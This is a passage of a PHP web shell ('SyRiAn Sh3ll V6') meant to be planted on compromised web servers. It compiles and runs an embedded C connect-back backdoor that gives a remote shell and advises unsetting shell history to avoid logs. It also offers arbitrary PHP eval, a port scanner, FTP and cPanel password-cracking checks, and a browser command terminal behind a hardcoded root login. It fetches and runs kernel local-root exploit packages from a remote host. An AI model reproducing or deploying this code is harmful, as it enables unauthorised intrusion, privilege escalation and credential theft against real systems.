    $shell = &quot;#include &lt;stdio.h&gt;\n&quot; .
             &quot;#include &lt;sys/socket.h&gt;\n&quot; .
             &quot;#include &lt;netinet/in.h&gt;\n&quot; .
             &quot;#include &lt;arpa/inet.h&gt;\n&quot; .
             &quot;#include &lt;netdb.h&gt;\n&quot; .
             &quot;int main(int argc, char **argv) {\n&quot; .
             &quot;  char *host;\n&quot; .
             &quot;  int port = 80;\n&quot; .
             &quot;  int f;\n&quot; .
             &quot;  int l;\n&quot; .
             &quot;  int sock;\n&quot; .
             &quot;  struct in_addr ia;\n&quot; .
             &quot;  struct sockaddr_in sin, from;\n&quot; .
             &quot;  struct hostent *he;\n&quot; .
             &quot;  char msg[ ] = \&quot;Welcome to Data Cha0s Connect Back Shell\\n\\n\&quot;\n&quot; .
             &quot;                \&quot;Issue \\\&quot;export TERM=xterm; exec bash -i\\\&quot;\\n\&quot;\n&quot; .
             &quot;                \&quot;For More Reliable Shell.\\n\&quot;\n&quot; .
             &quot;                \&quot;Issue \\\&quot;unset HISTFILE; unset SAVEHIST\\\&quot;\\n\&quot;\n&quot; .
             &quot;                \&quot;For Not Getting Logged.\\n(;\\n\\n\&quot;;\n&quot; .
             &quot;  printf(\&quot;Data Cha0s Connect Back Backdoor\\n\\n\&quot;);\n&quot; .
             &quot;  if (argc &lt; 2 || argc &gt; 3) {\n&quot; .
             &quot;    printf(\&quot;Usage: %s [Host] &lt;port&gt;\\n\&quot;, argv[0]);\n&quot; .
             &quot;    return 1;\n&quot; .
             &quot;  }\n&quot; .
             &quot;  printf(\&quot;[*] Dumping Arguments\\n\&quot;);\n&quot; .
             &quot;  l = strlen(argv[1]);\n&quot; .
             &quot;  if (l &lt;= 0) {\n&quot; .
             &quot;    printf(\&quot;[-] Invalid Host Name\\n\&quot;);\n&quot; .
             &quot;    return 1;\n&quot; .
             &quot;  }\n&quot; .
             &quot;  if (!(host = (char *) malloc(l))) {\n&quot; .
             &quot;    printf(\&quot;[-] Unable to Allocate Memory\\n\&quot;);\n&quot; .
             &quot;    return 1;\n&quot; .
             &quot;  }\n&quot; .
             &quot;  strncpy(host, argv[1], l);\n&quot; .
             &quot;  if (argc == 3) {\n&quot; .
             &quot;    port = atoi(argv[2]);\n&quot; .
             &quot;    if (port &lt;= 0 || port &gt; 65535) {\n&quot; .
             &quot;      printf(\&quot;[-] Invalid Port Number\\n\&quot;);\n&quot; .
             &quot;      return 1;\n&quot; .
             &quot;    }\n&quot; .
             &quot;  }\n&quot; .
             &quot;  printf(\&quot;[*] Resolving Host Name\\n\&quot;);\n&quot; .
             &quot;  he = gethostbyname(host);\n&quot; .
             &quot;  if (he) {\n&quot; .
             &quot;    memcpy(&amp;ia.s_addr, he-&gt;h_addr, 4);\n&quot; .
             &quot;  } else if ((ia.s_addr = inet_addr(host)) == INADDR_ANY) {\n&quot; .
             &quot;    printf(\&quot;[-] Unable to Resolve: %s\\n\&quot;, host);\n&quot; .
             &quot;    return 1;\n&quot; .
             &quot;  }\n&quot; .
             &quot;  sin.sin_family = PF_INET;\n&quot; .
             &quot;  sin.sin_addr.s_addr = ia.s_addr;\n&quot; .
             &quot;  sin.sin_port = htons(port);\n&quot; .
             &quot;  printf(\&quot;[*] Connecting...\\n\&quot;);\n&quot; .
             &quot;  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n&quot; .
             &quot;    printf(\&quot;[-] Socket Error\\n\&quot;);\n&quot; .
             &quot;    return 1;\n&quot; .
             &quot;  }\n&quot; .
             &quot;  if (connect(sock, (struct sockaddr *)&amp;sin, sizeof(sin)) != 0) {\n&quot; .
             &quot;    printf(\&quot;[-] Unable to Connect\\n\&quot;);\n&quot; .
             &quot;    return 1;\n&quot; .
             &quot;  }\n&quot; .
             &quot;  printf(\&quot;[*] Spawning Shell\\n\&quot;);\n&quot; .
             &quot;  f = fork( );\n&quot; .
             &quot;  if (f &lt; 0) {\n&quot; .
             &quot;    printf(\&quot;[-] Unable to Fork\\n\&quot;);\n&quot; .
             &quot;    return 1;\n&quot; .
             &quot;  } else if (!f) {\n&quot; .
             &quot;    write(sock, msg, sizeof(msg));\n&quot; .
             &quot;    dup2(sock, 0);\n&quot; .
             &quot;    dup2(sock, 1);\n&quot; .
             &quot;    dup2(sock, 2);\n&quot; .
             &quot;    execl(\&quot;/bin/sh\&quot;, \&quot;shell\&quot;, NULL);\n&quot; .
             &quot;    close(sock);\n&quot; .
             &quot;    return 0;\n&quot; .
             &quot;  }\n&quot; .
             &quot;  printf(\&quot;[*] Detached\\n\\n\&quot;);\n&quot; .
             &quot;  return 0;\n&quot; .
             &quot;}\n&quot;;
    $fbname = $tmp_dir . &quot;/cbs&quot;;
	GenerateFile($fbname . &quot;.c&quot;,$shell);
	$command = $compiler . &quot; -o &quot; . $fbname . &quot; &quot; . $fbname . &quot;.c&quot;;
	Exe($command);
	$command = $fbname . &quot; &quot; . $host . &quot; &quot; . $port;
	Exe($command);
}
function HashAnalyzer($hash)
{
	$subHash = substr($hash,0,3);
	if($subHash =='$ap' &amp;&amp; strlen($hash) == 37){echo &quot;The Hash : &quot;.$hash.&quot; is : MD5(APR) Hash&quot;;}
	else if($subHash =='$1$' &amp;&amp; strlen($hash) == 34){echo &quot;The Hash : &quot;.$hash.&quot; is : MD5(UNIX) Hash&quot;;}
	else if($subHash =='$H$' &amp;&amp; strlen($hash) == 35){echo &quot;The Hash : &quot;.$hash.&quot; is : MD5(phpBB3) Hash&quot;;}
	else if(strlen($hash) == 29){echo &quot;The Hash : &quot;.$hash.&quot; is : MD5(Wordpress) Hash&quot;;}
	else if($subHash =='$5$' &amp;&amp; strlen($hash) == 64){echo &quot;The Hash : &quot;.$hash.&quot; is : SHA256(UNIX) Hash&quot;;}
	else if($subHash =='$6$' &amp;&amp; strlen($hash) == 128){echo &quot;The Hash : &quot;.$hash.&quot; is : SHA512(UNIX) Hash&quot;;}
	else if(strlen($hash) == 56){echo &quot;The Hash : &quot;.$hash.&quot; is : SHA224 Hash&quot;;}
	else if(strlen($hash) == 64){echo &quot;The Hash : &quot;.$hash.&quot; is : SHA256 Hash&quot;;}
	else if(strlen($hash) == 96){echo &quot;The Hash : &quot;.$hash.&quot; is : SHA384 Hash&quot;;}
	else if(strlen($hash) == 128){echo &quot;The Hash : &quot;.$hash.&quot; is : SHA512 Hash&quot;;}
	else if(strlen($hash) == 40){echo &quot;The Hash : &quot;.$hash.&quot; is : MySQL V5.3.x Hash&quot;;}
	else if(strlen($hash) == 16){echo &quot;The Hash : &quot;.$hash.&quot; is : MySQL Hash&quot;;}
	else if(strlen($hash) == 13){echo &quot;The Hash : &quot;.$hash.&quot; is : DES(Unix) Hash&quot;;}
	else if(strlen($hash) == 32){echo &quot;The Hash : &quot;.$hash.&quot; is : MD5 Hash&quot;;}
	else if(strlen($hash) == 4){echo &quot;The Hash : &quot;.$hash.&quot; is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]&quot;;}
	else {echo &quot;Error : Can't Detect Hash Type&quot;;}
}
function Evaluation($eval)
{
	$eval = str_replace(&quot;&lt;?php&quot;,&quot;&quot;,$eval);
	$eval = str_replace(&quot;&lt;?php&quot;,&quot;&quot;,$eval);
	$eval = str_replace(&quot;?&gt;&quot;,&quot;&quot;,$eval);
	$eval = str_replace(&quot;\\&quot;,&quot;&quot;,$eval);
	$eval = eval($eval);
	if($eval){return true;}else{return false;}
}
function PortsScanner($domainToScan)
{
	if(!$domainToScan){echo &quot;[-] Enter IP Address Or Domain To Scan&quot;;}
	else 
	{
		for($i=0;$i&lt;1024;$i++) 
		{
			$fp = fsockopen($domainToScan,$i,$errno,$errstr,10);
			if($fp){echo &quot;[+] port &quot; . $i . &quot; open on &quot; . $domainToScan . &quot;
&quot;;}
			flush();
		} 
		fclose($fp);
	}
}
function FetchURL($url) 
{
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_USERAGENT, &quot;Mozilla/3.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)&quot;);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch, CURLOPT_HEADER, 1);
   curl_setopt($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_TIMEOUT, 30);
   $data = curl_exec($ch);
   if(!$data) { 
        return false; 
   }
   return $data;
}
function ftp_check($host,$user,$pass,$timeout)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, &quot;ftp://$host&quot;);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
	curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
	curl_setopt($ch, CURLOPT_USERPWD, &quot;$user:$pass&quot;);
	curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_FAILONERROR, 1);
	$data = curl_exec($ch);
	if ( curl_errno($ch) == 28 ) 
	{
		 print &quot;Error : Connection Timeout Please Check The Target Hostname .&quot;;
		 exit;
	}
	elseif ( curl_errno($ch) == 0 ){print &quot;[+] Cracking Success With Username ($user) and Password ($pass)&quot;;}
	curl_close($ch);
}
function cpanel_check($host,$user,$pass,$timeout)
{
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, &quot;http://$host:2082&quot;);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
	curl_setopt($ch, CURLOPT_USERPWD, &quot;$user:$pass&quot;);
	curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
	curl_setopt($ch, CURLOPT_FAILONERROR, 1);
	$data = curl_exec($ch);
	if ( curl_errno($ch) == 28 ) 
	{ 
		print &quot;[-] Connection Timeout Please Check The Target Hostname .&quot;;
		exit;
	}
	elseif ( curl_errno($ch) == 0 ){print &quot;[+] Cracking Success With Username ($user) and Password ($pass)&quot;;}
	curl_close($ch);
}
# ---------------------------------------#
#             Authentication             #
#----------------------------------------#
if ($uselogin ==1)
{
	if($_COOKIE[&quot;user&quot;] != $user or $_COOKIE[&quot;pass&quot;] != md5($pass))
	{
		if($_POST[usrname]==$user &amp;&amp; $_POST[passwrd]==$pass)
		{
			print'&lt;script&gt;document.cookie=&quot;user='.$_POST[usrname].';&quot;;document.cookie=&quot;pass='.md5($_POST[passwrd]).';&quot;;&lt;/script&gt;';
		}
		else
		{
			if($_POST['usrname']){print'&lt;script&gt;alert(&quot;Go and play in the street man !!&quot;);&lt;/script&gt;';}
			echo '
			&lt;body bgcolor=&quot;black&quot;&gt;&lt;br&gt;&lt;br&gt;
			&lt;center&gt;&lt;font color=#990000 size=5&gt;&lt;b&gt;SyRi&lt;/b&gt;&lt;/font&gt;&lt;font color=green size=5&gt;&lt;b&gt;An Sh&lt;/b&gt;&lt;/font&gt;&lt;font color=gray size=5&gt;&lt;b&gt;3ll &lt;font color=&quot;red&quot;&gt;V6&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;br&gt;

			&lt;img src=&quot;http://www.library-ar.com/cache/eagle.jpg&quot;&gt;
			&lt;/center&gt;
			&lt;div align=&quot;center&quot;&gt;
			&lt;form method=&quot;POST&quot; onsubmit=&quot;if(this.usrname.value==\'\'){return false;}&quot;&gt;
			&lt;input dir=&quot;ltr&quot; name=&quot;usrname&quot; id=&quot;username&quot; value=&quot;userName&quot; type=&quot;text&quot;  size=&quot;30&quot; onblur=&quot;Blur(\'username\',\'userName\');&quot; onclick=&quot;Clear(\'username\',\'userName\');&quot;/&gt;&lt;br&gt;
			&lt;input dir=&quot;ltr&quot; name=&quot;passwrd&quot; id=&quot;password&quot; value=&quot;&quot; type=&quot;password&quot; size=&quot;30&quot; onfocus=&quot;Focus(2);&quot; /&gt;&lt;br&gt;
			&lt;input type=&quot;submit&quot; value=&quot; Login  &quot; name=&quot;login&quot; /&gt;
			&lt;/form&gt;&lt;/p&gt;';
			exit;
		}
	}
}
# ---------------------------------------#
#             SSH Session                #
#----------------------------------------#
error_reporting(0);
session_start();
unset($user);       
unset($pass);
if ($_POST['cmd']) $_POST['cmd'] = my_encode($_POST['cmd']);
$cache_lines = 1000;
$history_lines = 100;
$history_chars = 20;
$user[] = &quot;root&quot;;  
$pass[] = md5(&quot;sy3&quot;);
$alias = array(
	&quot;la&quot;    =&gt; &quot;ls -la&quot;,
	&quot;rf&quot;    =&gt; &quot;rm -f&quot;,
	&quot;unbz2&quot; =&gt; &quot;tar -xjpf&quot;,
	&quot;ungz&quot;  =&gt; &quot;tar -xzpf&quot;
);
if (!$_SESSION['user']) {

	$pr_login = &quot;Login:\n&quot;;
	$pr_pass = &quot;Password:\n&quot;;
	$err = &quot;Invalid login!\n\n&quot;;
	$succ = &quot;Warning!
Don`t be stupid .. this is a priv3 server, so take extra care!!!\n\n&quot;;
	if ($_SESSION['login'] &amp;&amp; $_POST['cmd']) { // WE HAVE USERNAME &amp; PASSWORD
		$_SESSION['output'] .= $pr_pass;
		if (in_array($_SESSION['login'], $user)) { //........ USERNAME EXISTS
			$key = array_search($_SESSION['login'], $user);
			if ($pass[$key] != md5($_POST['cmd'])) { //....... WRONG PASSWORD
				$_SESSION['output'] .= $err;
				unset($_SESSION['login']);
				$prompt = $pr_login;
			} else { //..................................... SUCCESSFUL LOGIN
				$_SESSION['user'] = $_SESSION['login'];
				$_SESSION['whoami'] = substr(Exe(&quot;whoami&quot;), 0, -1);
				$_SESSION['host'] = substr(Exe(&quot;uname -n&quot;), 0, -1);
				$_SESSION['dir'] = substr(Exe(&quot;pwd&quot;), 0, -1);
				$_SESSION['output'] .= $succ;
				$prompt = set_prompt();
				unset($_SESSION['login']);
			}
		} else { //......................................... NO SUCH USERNAME
			$_SESSION['output'] .= $err;
			unset($_SESSION['login']);
			$prompt = $pr_login;
		}
	} else { //................................................ LOGIN PROCESS
		if (!$_SESSION['login'] &amp;&amp; !$_POST['cmd']) $prompt = $pr_login;

		if (!$_SESSION['login'] &amp;&amp; $_POST['cmd']) {
			$_SESSION['login'] = $_POST['cmd'];
			$_SESSION['output'] .= substr($pr_login, 0, -1) . &quot; $_POST[cmd]\n&quot;;
			$prompt = $pr_pass;
		}
	}
} else { //........................................................ LOGGED IN
	$prompt = set_prompt();
	chdir($_SESSION['dir']);
	if ($_REQUEST['clear_hist']) //............................ CLEAR HISTORY
		$_SESSION['history'] = &quot;&quot;;
	if ($_SESSION['history']) $hist_arr = explode(&quot;\n&quot;, $_SESSION['history']);
	if ($_POST['cmd']) {
		if (!in_array($_POST['cmd'], $hist_arr)) { //......... ADD TO HISTORY
			$hist_arr[] = $_POST['cmd'];
			$_SESSION['history'] = implode(&quot;\n&quot;, $hist_arr);
		}
		if (count($hist_arr) &gt; $history_lines) { //........... CUTOFF HISTORY
			$start = count($hist_arr) - $history_lines;
			$_SESSION['history'] = &quot;&quot;;
			for ($i = $start; $i &lt; count($hist_arr); $i++)
				$_SESSION['history'] .= $hist_arr[$i] . &quot;\n&quot;;
			$_SESSION['history'] = substr($_SESSION['history'], 0, -1);
			$hist_arr = explode(&quot;\n&quot;, $_SESSION['history']);
		}
		if($_POST['Setup'])
		{
			$commandName = $_POST['commandName'];
			$commandUrl = &quot;http://SyRiAn Cyb3r Army/commands/&quot;.$commandName.&quot;zip&quot;;
			getFiles($commandUrl);
			UnZip($commandName.&quot;zip&quot;,getcwd());
			ChangeMode($commandName,0777);
		}
		else if($_POST['execLocal']) 
		{
			$localName = $_POST['localName'];
			$localUrl = &quot;http://SyRiAn Cyb3r Army/locals/&quot;.$localName.&quot;zip&quot;;
			getFiles($localUrl);
			UnZip($localName.&quot;zip&quot;,getcwd());
			ChangeMode($localName,0777);
			$SSHCommand = &quot;./&quot;.$localName;
			Exe($SSHCommand);
		}
		$first_word = first_word($_POST['cmd']);
		if (array_key_exists($first_word, $alias)) { //. CHECKING FOR ALIASES
			$_POST['cmd'] = $alias[$first_word] . substr($_POST['cmd'], strlen($first_word));
			$first_word = first_word($_POST['cmd']);
		}
		switch ($first_word) {
		  case &quot;clear&quot;:
			$_SESSION['output'] = &quot;&quot;;
			break;
		  case &quot;exit&quot;:
			session_destroy();
			refresh();
			break;
		  case &quot;cd&quot;:
			$_SESSION['output'] .= $prompt;
				$result = Exe($_POST['cmd'] . &quot; 2&gt;&amp;1 ; pwd&quot;);
			$result = explode(&quot;\n&quot;, $result);
			$_SESSION['dir'] = $result[count($result) - 2];
			if (count($result) &gt; 2) //.............. WE HAVE AN ERROR MESSAGE
				$result[0] = &quot;\n&quot; . substr($result[0], strpos($result[0], &quot;cd: &quot;)) . &quot;\n&quot;;
			else $result[0] = &quot;\n&quot;;
				$prompt = set_prompt();
				$_SESSION['output'] .= $_POST['cmd'] . $result[0];
				break;
		  default:
			$result = Exe($_POST['cmd'] . &quot; 2&gt;&amp;1&quot;);
			if (substr($result, -1) != &quot;\n&quot;) $result .= &quot;\n&quot;;
			$_SESSION['output'] .= $prompt . $_POST['cmd'] . &quot;\n&quot; . $result;
			$rows = preg_match_all('/\n/', $_SESSION['output'], $arr);
			unset($arr);
			if ($rows &gt; $cache_lines) {
					preg_match('/(\n[^\n]*){' . $cache_lines . '}$/', $_SESSION['output'], $out);
				$_SESSION['output'] = $out[0] . &quot;\n&quot;;
			}
		}
	}
}
function my_encode($str) 
{
	$str = str_replace(&quot;\\\\&quot;, &quot;\\&quot;, $str);
	$str = str_replace(&quot;\\\&quot;&quot;, &quot;\&quot;&quot;, $str);
	$str = str_replace(&quot;\\'&quot;, &quot;'&quot;, $str);
	while (strpos($str, &quot;  &quot;) !== false) $str = str_replace(&quot;  &quot;, &quot; &quot;, $str);
	return rtrim(ltrim($str));
}
function set_prompt() 
{
	global $_SESSION;
	return $_SESSION['whoami'] . &quot;@&quot; . $_SESSION['host'] . &quot; &quot; . substr($_SESSION['dir'], strrpos($_SESSION['dir'], &quot;/&quot;) + 1) . &quot; $ &quot;;
}
function first_word($str) 
{
	list($str) = preg_split('/[ ;]/', $str);
	return $str;
}
function refresh()
{
	global $_SERVER;
	$self = substr($_SERVER['SCRIPT_NAME'], strrpos($_SERVER['SCRIPT_NAME'], &quot;/&quot;) + 1);
	header(&quot;Location: $self&quot;);die();
}
$out = substr(preg_replace('/&lt;\/(textarea)/i', '&amp;lt;/\1', $_SESSION['output']), 0, -1);
if($_GET['id'] == &quot;sshSession&quot;)
{
	echo '&lt;HTML&gt;
&lt;HEAD&gt;
  &lt;TITLE&gt;SyRiAn Sh3ll V6 ~~ SSH Session&lt;/TITLE&gt;
  &lt;STYLE TYPE=&quot;text/css&quot;&gt;&lt;!--
	INPUT, TEXTAREA, SELECT, OPTION, TD {
		color: '.$sh3llColor.';
		background-color: #000000;
		font-family: Terminus, Fixedsys, Fixed, Terminal, Courier New, Courier;
	}
	TEXTAREA {
		overflow-y: auto;
		border-width: 0px;
		height: 100%;
		width: 100%;
		padding: 0px;
	}
	INPUT {
		border-width: 0px;
		height: 26px;
		width: 100%;
		padding-top: 5px;
	}
	SELECT, OPTION {
		color: '.$sh3llColor.';
		background-color: #BBBBBB;
	}
	BODY {
		overflow-y: auto;
		margin: 0;
	}
  --&gt;&lt;/STYLE&gt;
  &lt;SCRIPT LANGUAGE=&quot;JavaScript&quot;&gt;&lt;!--
hist_arr = new Array();';

foreach ($hist_arr as $key =&gt; $value) {
	$value = str_replace(&quot;\\&quot;, &quot;\\\\&quot;, $value);
	$value = str_replace(&quot;\&quot;&quot;, &quot;\\\&quot;&quot;, $value);
	echo &quot;hist_arr[$key] = \&quot;$value\&quot;;\n&quot;;
}

echo '
function parse_hist(key) {
	if (key &lt; hist_arr.length) {
			if (key != &quot;&quot;) {
			document.getElementById(\'input\').value = hist_arr[key];
			document.getElementById(\'input\').focus();
		}
	} else {
			window.location.href = &quot;?clear_hist=1&quot;;
	}
}
function input_focus() {
	document.getElementById(\'input\').focus();
}
function selection_to_clipboard() { // IE only!
	if (window.clipboardData &amp;&amp; document.selection)
		window.clipboardData.setData(&quot;Text&quot;, document.selection.createRange().text);
}
if (window.clipboardData)
	document.oncontextmenu = new Function(&quot;document.getElementById(\'input\').value = window.clipboardData.getData(\'Text\'); input_focus(); return false&quot;);
  --&gt;&lt;/SCRIPT&gt;
&lt;/HEAD&gt;
&lt;BODY onLoad=&quot;document.getElementById(\'output\').scrollTop = document.getElementById(\'output\').scrollHeight; input_focus()&quot; TOPMARGIN=&quot;0&quot; LEFTMARGIN=&quot;0&quot;&gt;
&lt;TABLE CELLPADDING=&quot;0&quot; CELLSPACING=&quot;0&quot; BORDER=&quot;0&quot; HEIGHT=&quot;100%&quot; WIDTH=&quot;100%&quot;&gt;
&lt;TR&gt;
  &lt;TD HEIGHT=&quot;100%&quot; BGCOLOR=&quot;#000000&quot; STYLE=&quot;padding-top: 5px; padding-left: 5px; padding-right: 5px; padding-bottom: 0px&quot;&gt;&lt;TEXTAREA ID=&quot;output&quot; onSelect=&quot;selection_to_clipboard()&quot; onClick=&quot;input_focus()&quot; READONLY&gt;'.$out.'&lt;/TEXTAREA&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
  &lt;TD BGCOLOR=&quot;#000000&quot;&gt;&lt;TABLE CELLPADDING=&quot;0&quot; CELLSPACING=&quot;5&quot; BORDER=&quot;0&quot; WIDTH=&quot;100%&quot;&gt;
	&lt;TR&gt;
	&lt;FORM METHOD=&quot;POST&quot; ACTION=&quot;&quot;&gt;
	  &lt;TD NOWRAP onClick=&quot;input_focus()&quot;&gt;'.substr($prompt, 0, -1) .'&lt;/TD&gt;
	  &lt;TD WIDTH=&quot;100%&quot;&gt;&lt;INPUT ID=&quot;input&quot; TYPE=&quot;';
	  if (!$_SESSION['user'] &amp;&amp; $_SESSION['login']){echo &quot;password&quot;;}
	  else {echo &quot;text&quot;;}
	  echo '&quot; NAME=&quot;cmd&quot;&gt;&lt;/TD&gt;
	';
if ($hist_arr) {
   echo ' &lt;TD NOWRAP&gt;&lt;SELECT onChange=&quot;parse_hist(this.options[this.selectedIndex].value)&quot;&gt;
		&lt;OPTION VALUE=&quot;&quot;&gt;--- HISTORY&lt;/OPTION&gt;';
	for ($i = count($hist_arr) - 1; $i &gt;= 0; $i--) {
		if (strlen($hist_arr[$i]) &gt; $history_chars) $option = substr($hist_arr[$i], 0, $history_chars - 3) . &quot;...&quot;;
		else $option = $hist_arr[$i];
		echo &quot;&lt;OPTION VALUE=\&quot;&quot; . $i . &quot;\&quot;&gt;$option&lt;/OPTION&gt;&quot;;
	}
	echo '  &lt;OPTION VALUE=&quot;'.($history_lines+1).'&quot;&gt;--- CLEAR HISTORY&lt;/OPTION&gt;&lt;/SELECT&gt;&lt;/TD&gt;';
}

  echo '
  &lt;td&gt;
  &lt;/form&gt;
  &lt;form method=&quot;post&quot;&gt;
  &lt;select name=&quot;localName&quot;&gt;
  &lt;option value=&quot;2007_2.6.9-55&quot; &gt;2007_2.6.9-55&lt;/option&gt;
  &lt;option value=&quot;2007_2.6.11&quot; &gt;2007_2.6.11&lt;/option&gt;
  &lt;option value=&quot;2008_2.6.23&quot; &gt;2008_2.6.23&lt;/option&gt;
  &lt;option value=&quot;2008_2.6.24&quot; &gt;2008_2.6.24&lt;/option&gt;
  &lt;option value=&quot;2009_2.6.6-34_h00lyshit&quot; &gt;2009_2.6.6-34_h00lyshit&lt;/option&gt;
  &lt;option value=&quot;2009_2.6.16_raptor&quot; &gt;2009_2.6.16_raptor&lt;/option&gt;
  &lt;option value=&quot;2009_dene&quot; &gt;2009_dene&lt;/option&gt;
  &lt;option value=&quot;2009_keris&quot; &gt;2009_keris&lt;/option&gt;
  &lt;option value=&quot;2009_py2&quot; &gt;2009_py2&lt;/option&gt;
  &lt;option value=&quot;2010_2.6&quot; &gt;2010_2.6&lt;/option&gt;
  &lt;option value=&quot;2011_2.6.34&quot; &gt;2011_2.6.34&lt;/option&gt;
  &lt;/select&gt;
  &lt;input type=&quot;submit&quot; name=&quot;execLocal&quot; value=&quot;./Execute&quot;&gt;
  &lt;/form&gt;
  &lt;/td&gt;
  &lt;form method=&quot;post&quot;&gt;
  &lt;td&gt;
	  &lt;select name=&quot;commandName&quot;&gt;
	  &lt;option value=&quot;cat&quot; &gt;cat&lt;/option&gt;
	  &lt;option value=&quot;chmod&quot; &gt;chmod&lt;/option&gt;
	  &lt;option value=&quot;date&quot; &gt;date&lt;/option&gt;
	  &lt;option value=&quot;dir&quot; &gt;dir&lt;/option&gt;
	  &lt;option value=&quot;du&quot; &gt;du&lt;/option&gt;
	  &lt;option value=&quot;gcc&quot; &gt;gcc&lt;/option&gt;
	  &lt;option value=&quot;gunzip&quot; &gt;gunzip&lt;/option&gt;
	  &lt;option value=&quot;gzip&quot; &gt;gzip&lt;/option&gt;
	  &lt;option value=&quot;id&quot; &gt;id&lt;/option&gt;
	  &lt;option value=&quot;ln&quot; &gt;ln&lt;/option&gt;
	  &lt;option value=&quot;ls&quot; &gt;ls&lt;/option&gt;
	  &lt;option value=&quot;mkdir&quot; &gt;mkdir&lt;/option&gt;
	  &lt;option value=&quot;mv&quot; &gt;mv&lt;/option&gt;
	  &lt;option value=&quot;pwd&quot; &gt;pwd&lt;/option&gt;
	  &lt;option value=&quot;rm&quot; &gt;rm&lt;/option&gt;
	  &lt;option value=&quot;sh&quot; &gt;sh&lt;/option&gt;
	  &lt;option value=&quot;su&quot; &gt;su&lt;/option&gt;
	  &lt;option value=&quot;tail&quot; &gt;tail&lt;/option&gt;
	  &lt;option value=&quot;tar&quot; &gt;tar&lt;/option&gt;
	  &lt;option value=&quot;touch&quot; &gt;touch&lt;/option&gt;
	  &lt;option value=&quot;uname&quot; &gt;uname&lt;/option&gt;
	  &lt;option value=&quot;wget&quot; &gt;wget&lt;/option&gt;
	  &lt;option value=&quot;who&quot; &gt;who&lt;/option&gt;
	  &lt;/select&gt;
	  &lt;input type=&quot;submit&quot; name=&quot;Setup&quot; value=&quot;Setup&quot;&gt;
  &lt;/td&gt;&lt;/FORM&gt;
  &lt;/TR&gt;
  &lt;/TABLE&gt;&lt;/TD&gt;
&lt;/TR&gt;
&lt;/TABLE&gt;
&lt;SCRIPT LANGUAGE=&quot;JavaScript&quot;&gt;&lt;!--
document.getElementById(\'output\').scrollTop = document.getElementById(\'output\').scrollHeight;
--&gt;&lt;/SCRIPT&gt;
&lt;/BODY&gt;
&lt;/HTML&gt;';
}
else
{
# ---------------------------------------#
#               Some Info                #
#----------------------------------------#
error_reporting(0);
set_time_limit(0);
ini_set('max_execution_time',0);
$dir = getcwd();
$uname= php_uname();
if(strlen($dir)&gt;1 &amp;&amp; $dir[1]==&quot;:&quot;)
$os = &quot;Windows&quot;;
else $os = &quot;Linux&quot;;
$serverIP = gethostbyname($_SERVER[&quot;HTTP_HOST&quot;]);
$server = substr($SERVER_SOFTWARE,0,120);
echo &quot;&lt;script&gt;
function openPHPInfo()
{
	my_window= window.open (\&quot;?info=getPhpInfo\&quot;,\&quot;PHP Info\&quot;,\&quot;width=800,height=600,scrollbars=1\&quot;);	
}
&lt;/script&gt;&quot;;
if($_GET['info'] == 'getPhpInfo')
{
	phpinfo();
}
echo &quot;
&lt;body dir='ltr'&gt;&lt;table bgcolor='#cccccc' cellpadding='0' cellspacing='0' width='100%'&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor='#000000' width='160'&gt;
&lt;p dir='ltr'&gt;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;div dir='ltr' align='center'&gt;&lt;font size='4'&gt;&lt;b&gt;
&lt;img border='0' src='http://www.library-ar.com/cache/eagle.jpg' width='101' height='93'&gt;&amp;nbsp;&lt;/b&gt;&lt;/font&gt;&lt;div
dir='ltr' align='center'&gt;&lt;span style='height: 25px;'&gt;&lt;b&gt;
&lt;font size='4' color='#FF0000'&gt;SyRi&lt;/font&gt;&lt;font size='4' color='#008000'&gt;An Sh&lt;/font&gt;&lt;font size='4' color='#999999'&gt;3ll&lt;br&gt;V6&lt;/font&gt;&lt;/b&gt;&lt;span style='font-size: 20pt; color: #990000;'&gt;&lt;p&gt;&lt;/p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td
bgcolor=#000000&gt;
&lt;p dir='ltr'&gt;&lt;font  size='1'&gt;&amp;nbsp; &lt;b&gt;[&lt;a href=?id=mainPage&gt;Main&lt;/a&gt;]&lt;/b&gt;&lt;/span&gt;
&lt;b&gt;[&lt;/span&gt;&lt;a href=?id=sshSession&gt;SSH Session&lt;/a&gt;]&lt;/b&gt;&lt;/span&gt;
&lt;b&gt;[&lt;/span&gt;&lt;a href=?id=about&gt;About&lt;/a&gt;]&lt;/b&gt;&lt;/span&gt;
&lt;b&gt;[&lt;/span&gt;&lt;a href=?id=logout&gt;Logout&lt;/a&gt;]&lt;/b&gt;&lt;/span&gt;
&lt;b&gt;[&lt;/span&gt;&lt;a href=?id=100&gt;SuiCide&lt;/a&gt;]&lt;/b&gt;&lt;/span&gt;
&lt;br&gt;
&lt;font size='1'&gt;&lt;br&gt;
&amp;nbsp;   Safe Mode = &lt;sy&gt;&quot;.SafeMode().&quot; &lt;/sy&gt;&lt;font size=1&gt;
&amp;nbsp;   System = &lt;sy&gt;&quot;.$os.&quot;&lt;/sy&gt;
&amp;nbsp;   Magic_Quotes = &lt;sy&gt;&quot;. magicQouts().&quot; &lt;/sy&gt;
&amp;nbsp;   Curl = &lt;sy&gt;&quot;.Curl().&quot; &lt;/sy&gt;
